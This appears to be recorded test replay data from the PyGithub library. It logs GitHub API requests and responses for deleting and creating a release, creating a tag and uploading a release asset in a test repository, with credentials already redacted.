{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530299","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530299/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28530299/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28530299,"node_id":"MDc6UmVsZWFzZTI4NTMwMjk5","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T06:44:13Z","assets":[{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22855019","id":22855019,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODU1MDE5","name":"file_like","label":"another unit test artifact","uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"text/plain","state":"uploaded","size":96,"download_count":0,"created_at":"2020-07-14T06:44:13Z","updated_at":"2020-07-14T06:44:13Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.25.2/file_like"}],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} https DELETE api.github.com None /repos/rickrickston123/RepoTest/releases/28530299 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:15 GMT'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4845'), ('X-RateLimit-Reset', '1594712357'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'E64E:0FDF:BFDC78:14143AE:5F0D543E')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ReleaseModify.testUploadAssetFromMemory.txt0000644000175100001660000007617414756101563026626 0ustar00runnerdockerhttps GET api.github.com None /users/rickrickston123 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:15 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4844'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f72fa7561e862bb9391d5440956a4d9b"'), ('Last-Modified', 'Tue, 14 Jul 2020 06:41:30 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E656:0722:9F1CE:1C6CA4:5F0D543F')] {"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false,"name":null,"company":null,"blog":"","location":null,"email":null,"hireable":null,"bio":null,"twitter_username":null,"public_repos":2,"public_gists":0,"followers":0,"following":0,"created_at":"2020-05-02T22:39:16Z","updated_at":"2020-07-14T06:41:30Z","private_gists":0,"total_private_repos":2,"owned_private_repos":2,"disk_usage":65,"collaborators":0,"two_factor_authentication":false,"plan":{"name":"free","space":976562499,"collaborators":0,"private_repos":10000}} https GET api.github.com None /repos/rickrickston123/RepoTest {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:15 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4843'), ('X-RateLimit-Reset', '1594712356'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"99dcef5058cca871445c2e0d357c6ff7"'), ('Last-Modified', 'Sun, 12 Jul 2020 07:34:45 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E65E:15D5:BBBA3A:1418945:5F0D543F')] {"id":279015286,"node_id":"MDEwOlJlcG9zaXRvcnkyNzkwMTUyODY=","name":"RepoTest","full_name":"rickrickston123/RepoTest","private":false,"owner":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"html_url":"https://github.com/rickrickston123/RepoTest","description":null,"fork":false,"url":"https://api.github.com/repos/rickrickston123/RepoTest","forks_url":"https://api.github.com/repos/rickrickston123/RepoTest/forks","keys_url":"https://api.github.com/repos/rickrickston123/RepoTest/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rickrickston123/RepoTest/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rickrickston123/RepoTest/teams","hooks_url":"https://api.github.com/repos/rickrickston123/RepoTest/hooks","issue_events_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues/events{/number}","events_url":"https://api.github.com/repos/rickrickston123/RepoTest/events","assignees_url":"https://api.github.com/repos/rickrickston123/RepoTest/assignees{/user}","branches_url":"https://api.github.com/repos/rickrickston123/RepoTest/branches{/branch}","tags_url":"https://api.github.com/repos/rickrickston123/RepoTest/tags","blobs_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/refs{/sha}","trees_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rickrickston123/RepoTest/statuses/{sha}","languages_url":"https://api.github.com/repos/rickrickston123/RepoTest/languages","stargazers_url":"https://api.github.com/repos/rickrickston123/RepoTest/stargazers","contributors_url":"https://api.github.com/repos/rickrickston123/RepoTest/contributors","subscribers_url":"https://api.github.com/repos/rickrickston123/RepoTest/subscribers","subscription_url":"https://api.github.com/repos/rickrickston123/RepoTest/subscription","commits_url":"https://api.github.com/repos/rickrickston123/RepoTest/commits{/sha}","git_commits_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits{/sha}","comments_url":"https://api.github.com/repos/rickrickston123/RepoTest/comments{/number}","issue_comment_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues/comments{/number}","contents_url":"https://api.github.com/repos/rickrickston123/RepoTest/contents/{+path}","compare_url":"https://api.github.com/repos/rickrickston123/RepoTest/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rickrickston123/RepoTest/merges","archive_url":"https://api.github.com/repos/rickrickston123/RepoTest/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rickrickston123/RepoTest/downloads","issues_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues{/number}","pulls_url":"https://api.github.com/repos/rickrickston123/RepoTest/pulls{/number}","milestones_url":"https://api.github.com/repos/rickrickston123/RepoTest/milestones{/number}","notifications_url":"https://api.github.com/repos/rickrickston123/RepoTest/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rickrickston123/RepoTest/labels{/name}","releases_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases{/id}","deployments_url":"https://api.github.com/repos/rickrickston123/RepoTest/deployments","created_at":"2020-07-12T07:34:41Z","updated_at":"2020-07-12T07:34:45Z","pushed_at":"2020-07-14T00:11:49Z","git_url":"git://github.com/rickrickston123/RepoTest.git","ssh_url":"git@github.com:rickrickston123/RepoTest.git","clone_url":"https://github.com/rickrickston123/RepoTest.git","svn_url":"https://github.com/rickrickston123/RepoTest","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":false,"network_count":0,"subscribers_count":0} https GET api.github.com None /repos/rickrickston123/RepoTest/commits {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:16 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4842'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1ecac7ea1780c4d77d519466d2894d79"'), ('Last-Modified', 'Sun, 12 Jul 2020 07:34:42 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B6AE:2729:7CD5B3:DB9E43:5F0D5440')] [{"sha":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","node_id":"MDY6Q29tbWl0Mjc5MDE1Mjg2OjgxM2RhNTI4ZGE0NmVmNGNiYjI4ZDIwMThlYWE2ZDRiM2Q1NmY0MGY=","commit":{"author":{"name":"rickrickston123","email":"64711998+rickrickston123@users.noreply.github.com","date":"2020-07-12T07:34:42Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-07-12T07:34:42Z"},"message":"Initial commit","tree":{"sha":"c56099e10207d5a7021b4485eda0afc18946727a","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/trees/c56099e10207d5a7021b4485eda0afc18946727a"},"url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJfCr0SCRBK7hj4Ov3rIwAAdHIIAEPYazT1x/QUozS6/rF1YLeX\nK50UqPFfnWA1IRwAVdYEy6Nwmb7bNuIeTna/GFi7BybozBOk2HMfQW2dhoZD35FC\nmGTk6mcy+hyaCrO7sGmCGhbVdcY86X3WxrRABzUqBGeo29CnEtjOfPnmBuW5MTNr\nnq3TBU7mjWZi09ivXIrfYWqxCEpMm4vHRPBZSgzuj/IgZLmQccgIyZu4v0GNkGQk\ngVceI/P849EX+rVSG73YAntlZIJaivqgZO5fvsdQjz92PAMM7bAKf1u7Vg4bt4Yw\n0YSAcXrFPky+kPE6CoXjx2uWVdyISs7RRWJS034z64nckExs99eKbCryjhBJwIA=\n=6HU0\n-----END PGP SIGNATURE-----\n","payload":"tree c56099e10207d5a7021b4485eda0afc18946727a\nauthor rickrickston123 <64711998+rickrickston123@users.noreply.github.com> 1594539282 -0700\ncommitter GitHub 1594539282 -0700\n\nInitial commit"}},"url":"https://api.github.com/repos/rickrickston123/RepoTest/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","html_url":"https://github.com/rickrickston123/RepoTest/commit/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","comments_url":"https://api.github.com/repos/rickrickston123/RepoTest/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f/comments","author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[]}] https POST api.github.com None /repos/rickrickston123/RepoTest/git/tags {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"tag": "v1.25.2", "message": "tag message", "object": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f", "type": "commit"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:16 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '694'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4841'), ('X-RateLimit-Reset', '1594712356'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"688b7c6cc5973d70b4b59203bd1adffe"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/git/tags/bfb1b77e43b097150dff160b1a12348ab7fd56ab'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'B6B6:04DD:8C3BD8:F40713:5F0D5440')] {"node_id":"MDM6VGFnMjc5MDE1Mjg2OmJmYjFiNzdlNDNiMDk3MTUwZGZmMTYwYjFhMTIzNDhhYjdmZDU2YWI=","sha":"bfb1b77e43b097150dff160b1a12348ab7fd56ab","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/tags/bfb1b77e43b097150dff160b1a12348ab7fd56ab","tagger":{"name":"rickrickston123","email":"64711998+rickrickston123@users.noreply.github.com","date":"2020-07-14T06:44:16Z"},"object":{"sha":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","type":"commit","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f"},"tag":"v1.25.2","message":"tag message","verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}} https POST api.github.com None /repos/rickrickston123/RepoTest/releases {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"tag_name": "v1.25.2", "name": "release title", "body": "release message", "draft": false, "prerelease": false, "target_commitish": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:17 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1839'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4840'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"a46beb8774dc9b7f701e89557f4d982a"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/releases/28530301'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'B6C0:5191:8509C0:E2FA56:5F0D5441')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530301","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530301/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28530301/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28530301,"node_id":"MDc6UmVsZWFzZTI4NTMwMzAx","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T06:44:17Z","assets":[],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} https POST uploads.github.com None /repos/rickrickston123/RepoTest/releases/28530301/assets?label=unit+test+artifact&name=file_name {'Content-Type': 'text/plain', 'Content-Length': '20', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} <_io.BufferedReader name='content.txt'> 201 [('Cache-Control', 'no-cache'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Type', 'application/json; charset=utf-8'), ('Etag', 'W/"396021bce9c72bcdd32c8725f6af031a"'), ('Last-Modified', 'Tue, 14 Jul 2020 06:44:18 GMT'), ('Strict-Transport-Security', 'max-age=31557600'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('X-Content-Type-Options', 'nosniff'), ('X-Frame-Options', 'deny'), ('X-Github-Media-Type', 'github.v3; format=json'), ('X-Xss-Protection', '1; mode=block'), ('Date', 'Tue, 14 Jul 2020 06:44:18 GMT'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Request-Id', '92DE:5EB7:2A9C01:30AED3:5F0D5441')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22855021","id":22855021,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODU1MDIx","name":"file_name","label":"unit test artifact","uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"text/plain","state":"uploaded","size":20,"download_count":0,"created_at":"2020-07-14T06:44:17Z","updated_at":"2020-07-14T06:44:18Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.25.2/file_name"} https GET api.github.com None /repos/rickrickston123/RepoTest/releases/28530301/assets {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:18 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4837'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0fb6c7c491b99ec4c464aeaf6de29b2f"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B6D6:7DAD:4E28A5:B72E05:5F0D5442')] [{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22855021","id":22855021,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODU1MDIx","name":"file_name","label":"unit test artifact","uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"text/plain","state":"uploaded","size":20,"download_count":0,"created_at":"2020-07-14T06:44:17Z","updated_at":"2020-07-14T06:44:18Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.25.2/file_name"}] https GET api.github.com None /repos/rickrickston123/RepoTest/releases/28530301 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 